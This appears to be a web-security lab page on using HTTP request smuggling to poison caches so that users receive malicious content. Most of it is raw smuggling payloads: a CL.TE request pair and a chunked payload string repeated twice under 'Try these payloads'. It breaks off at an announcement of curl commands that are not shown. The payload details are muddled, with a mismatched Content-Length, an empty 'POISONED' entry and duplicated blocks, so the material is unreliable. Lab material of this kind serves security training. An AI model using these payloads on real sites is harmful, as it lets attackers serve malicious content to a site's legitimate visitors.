Using request smuggling to poison caches and serve malicious content
This lab demonstrates how HTTP Request Smuggling can be used to poison caches and serve malicious content to users. By smuggling requests that target cache keys, attackers can poison the cache and serve malicious content to legitimate users.
Objective: Use request smuggling to poison the cache and serve malicious content to users.
// Cache Poisoning via Request Smuggling // Step 1: Smuggle a request that poisons the cache POST /4.php HTTP/1.1 Host: example.com Content-Length: 13 Transfer-Encoding: chunked 0 GET /4.php?cache_key=homepage HTTP/1.1 Host: example.com X-Cache-Key: homepage Content-Length: 0 // Step 2: The smuggled request poisons the cache // Step 3: Legitimate users get the poisoned content // Example poisoned cache entry: // Key: homepage // Value: POISONED:
0\r\n\r\nGET /4.php?cache_key=homepage HTTP/1.1\r\nHost: example.com\r\nX-Cache-Key: homepage\r\nContent-Length: 0\r\n\r\n0\r\n\r\nGET /4.php?cache_key=admin HTTP/1.1\r\nHost: example.com\r\nX-Cache-Key: admin\r\nContent-Length: 0\r\n\r\n0\r\n\r\nGET /4.php?cache_key=api HTTP/1.1\r\nHost: example.com\r\nX-Cache-Key: api\r\nContent-Length: 0\r\n\r\nTry these payloads in the request body:
0\r\n\r\nGET /4.php?cache_key=homepage HTTP/1.1\r\nHost: example.com\r\nX-Cache-Key: homepage\r\nContent-Length: 0\r\n\r\n0\r\n\r\nGET /4.php?cache_key=admin HTTP/1.1\r\nHost: example.com\r\nX-Cache-Key: admin\r\nContent-Length: 0\r\n\r\n0\r\n\r\nGET /4.php?cache_key=api HTTP/1.1\r\nHost: example.com\r\nX-Cache-Key: api\r\nContent-Length: 0\r\n\r\nUse these curl commands to test the vulnerability: